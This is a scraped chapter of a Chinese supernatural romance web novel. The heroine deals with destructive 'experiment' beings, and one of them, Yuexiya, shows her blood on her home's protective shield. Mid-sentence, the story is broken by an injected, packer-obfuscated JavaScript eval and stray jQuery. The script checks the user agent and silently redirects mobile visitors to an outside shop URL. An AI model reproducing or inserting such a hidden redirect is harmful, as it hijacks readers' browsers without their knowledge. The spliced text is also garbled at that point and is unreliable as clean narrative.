37. 女主支棱篇

作品:《女主今天也在害怕[人外]

    此刻有些尴尬,一部分四小队队员看向队长,挤眉弄眼,意思是:真要埋吗?


    队长图卡西哽着脖子:埋!


    另一部分之所以不看向祂,是因为还想表现表现。


    其中一个抖机灵的实验品举手说:“孟小姐,我来打扫,我劲儿小!”


    孟若若一时间没有明白过来,这些人是如何如何的破坏大王,给那人指了地方,不一会儿,震破天的叫声从工具间传来。


    “啊啊啊啊!坏了!”


    众人还没去看,那人舞着断成两截的扫把丧气着跑来,满是歉意。


    “对不起,孟小姐,我给弄坏了。”


    祂尝试着拼接,于是达成新成就:两截变成四截。


    细毛须一端与带柄手的扫把头齐齐掉在地板上,啪嗒啪嗒前后两声。


    总会有见别人不行,觉得自己一定行的实验品,自告奋勇:“我来!”


    一分钟后,第二把扫把折损。


    “……”


    一个声音响起:“克西亚是怎么做到的?”


    同是力量强悍的实验品,克西亚是怎么做到不破坏这些一碰就碎、嫩豆腐似的工具的?


    这简直不能称之为技巧,而是神迹了。


    没人回答。


    孟若若尴尬笑笑,在祂们还要‘帮忙’时打停:“放着吧,我会收拾的……你们吃糖吗?”


    她转移话题,指指角落堆着的,自从克西亚离开过,再也没碰的糖果。


    不用她说,其实实验品们早从空气中闻到那股甜丝丝的味道。甚至,其实在队长图卡西发令前,有人偷偷戳开包装盒子,往里边看过。


    满满的,全是糖。


    众人欢呼,很快将捏碎杯子、无力打扫的沮丧抛之脑后。


    孟若若给祂们发糖,这次估量好了数量,且存货充足。每个人手心里都躺着至少五六颗糖果,颜色五彩缤纷。


    那个冒出耳朵的实验品小声问:“可以带走吗?”


    见她看去,实验品耳朵抖抖,脸更红了,不敢直视又控制不住瞟来。


    孟若若点头,“可以的,不过最多只能放1年,之后就不能吃了。还有,包装纸是不能吃的,得撕开来,像这样。”


    她做出示范。


    当即有人把塞进嘴巴里的糖拿出来,擦一擦,偷偷摸摸放进口袋。


    1年,对于实验品来说是一个可短可长的时间。


    而撕开一层小小的包装纸,似乎是更精巧的活计,除了其貌不扬的憨憨大汉,没人尝试。


    轮到约西亚时,祂在糖果里挑挑拣拣,不甚满意。


    “不要紫色的,啊,粉色的也不要,青色……”


    祂捏起一个青苹果味儿糖果,拿在眼前瞧看,似乎是终于合眼缘了,下一刻又轻飘飘丢回孟若若怀里箱子里,笑嘻嘻说:“不要~”


    挑来挑去,居然是没一个颜色足够祂喜欢。


    在挑动愤怒神经这一块,约西亚当真一骑绝尘。


    “你丫……”


    孟若若挡住要动手的众人。


    打架总归是不好的,何况她早见过祂们的破坏力。


    心里装着许多猜测的孟若若,去卫生间拿了湿毛巾。


    白色的毛巾,她自己拧的,半干,很适合沾染什么,或者,擦去什么。


    她端着小盆出来,毛巾搭在盆边上,沉下半截在水里逐渐渗透水分。


    “不是说帮我擦防护罩吗?”她对约西亚说。


    屋里其他实验品起身,几乎是蹭一下窜起,“孟小姐,用不着祂,我们可以来。”


    她摇头,示意祂们坐下,“你们帮我看着屋子里,有需要我会喊的。”


    祂们待在这里,已经足够发挥作用。


    高大的苏如树长得超过了二楼阳台,淡金色花朵垂下,从繁密的叶片里露脸。树干上绑的秋千结节又续长了一些,板子在微风里小幅度颠簸摇摆。


    约西亚手背在脑后,孟若若端盆子在后边小跑才能跟上祂。


    直到院门口时,她小小喘息,抬头望向微笑着的约西亚,笃定语气:“你讨厌我。”


    “怎么会?”约西亚俯身接过小盆,“我只是有些生气。”


    “我啊~脾气不像弟弟那么好的,祂能忍的事情我不能。归根究底,这得怪您啊。”


    眼前的实验品压下阴影,那双漂亮眼睛里倒映出她来,柔弱的,不堪一击的。


    孟若若快速眨眼:“你和克西亚,是兄弟?”


    “你不是早知道?”约西亚反问。


    是的,她在商店里时就猜到了,只是不太确定:


    个性如此迥异的两个人会是兄弟。


    可如果是兄弟,那同属实验品的约西亚,是怎么避开未授权的防护罩和天幕系统的?


    “哦,你在想我怎么能进出防护罩对吧?”约西亚的声音忽得变远。


    一看,这人三两下跃过墙头踩实在防护罩上。


    盆放在墙头,约西亚抓起湿哒哒的毛巾往防护罩上糊,水珠从上方滴下,砸在孟若若脚边的瓷砖,溅开。


    啪嗒——啪嗒——


    “我其实不该挑明的,显得有点太可怕了,对不对?但是孟若若小姐,您犯了一个致命的错误。你不该让那群垃圾进入这里。我得给您一点警告,您往往分不清谁对您没有企图和恶意,这是罪。”


    啪嗒——啪嗒——


    “你就完全不好奇,这里的血迹是怎么来的?”


    约西亚用着最轻巧的话抛下重磅信息。


    血迹?


    孟若若心神一震。


    不断掉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118936|192720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下的水滴变成暗红色、红色,水流一点点汇聚,真像是血液流动。


    这会是谁的?又为什么出现在她家的防护罩上?


    雪白的裤腿溅上血点,啪嗒啪嗒,越来越多,越来越急。


    约西亚将毛巾丢回盆里,“怎么不说话?没有什么想问?”


    于是她问:“血迹是谁的?”


    孟若若在树下被一阵微风扑面,是约西亚勾着树干倒挂下来,晃到她眼前。


    海藻的绿色柔软发丝擦过她的眼睛,又擦过她的脸,冰凉,滑。


    这是一个很突然又危险的靠近。


    孟若若下意识想后退,脚刚抬起,止住了。


    她暗暗攥拳,心里鼓起一股劲儿,偏要仔细观察这个处处诡异的实验品。


    约西亚此时瞳孔竖起,笑意浮于表面,头发晃荡晃荡,像有一把刷子不停扫她的脸。


    她打了个喷嚏。


    约西亚一个仰卧弹回树上,“哎呀哎呀,不爱干净,您怎么能这样呢?”


    孟若若揉揉鼻子,出于礼貌没有说祂活该,她又问了一遍,“血迹是谁的。”


    树上背靠树干晃腿的约西亚,收起锋芒,悠哉悠哉说:“我才不告诉你,我又没有好处~”


    祂不肯说,没有关系。


    孟若若看看小盆,盆里有祂丢下的黑红白交映的毛巾,“你还没有擦干净。”


    “不要。”约西亚挪挪身,背对她,生闷气的样子。


    祂说:“除非你把祂们赶走。”


    明明是祂说要做的事情,又变成筹码。


    孟若若转头回到屋里,她询问图卡西等人能不能留宿下来。


    “我会付工钱的,多少合适一些?可能最近都得麻烦你们。”


    实验品们面面相觑,看得出是有人想的,但碍于什么没有答应下来。


    “是有哪里不方便吗?”


    图卡西解释:“孟小姐,不是我们不想留下来,未领养的实验品在圈内待的时间有限,规定上的事情。”


    原来如此。


    孟若若表示理解,指指外边树上的约西亚:“那你们离开时把祂一并捎走吧。”


    “明白,明白。”


    热闹哄哄四号房安静下来,实验品们离开,留下捏碎一地的杯子碎片,还有二四六八截扫把棍子。


    孟若若搬了梯子到院子里,踩上去,把墙头的小盆取下。


    盆里的水浑浊分层,一边清澈些,一边血一样的红。


    她装好一小瓶血水,给赵泛荇发去消息:【能帮我测一个东西吗?】


    过不久对面回:【5000】


    孟若若转账过去,问:【多久能出结果?】


    赵泛荇:【三天】


    三天,又是三天。


    她等得起。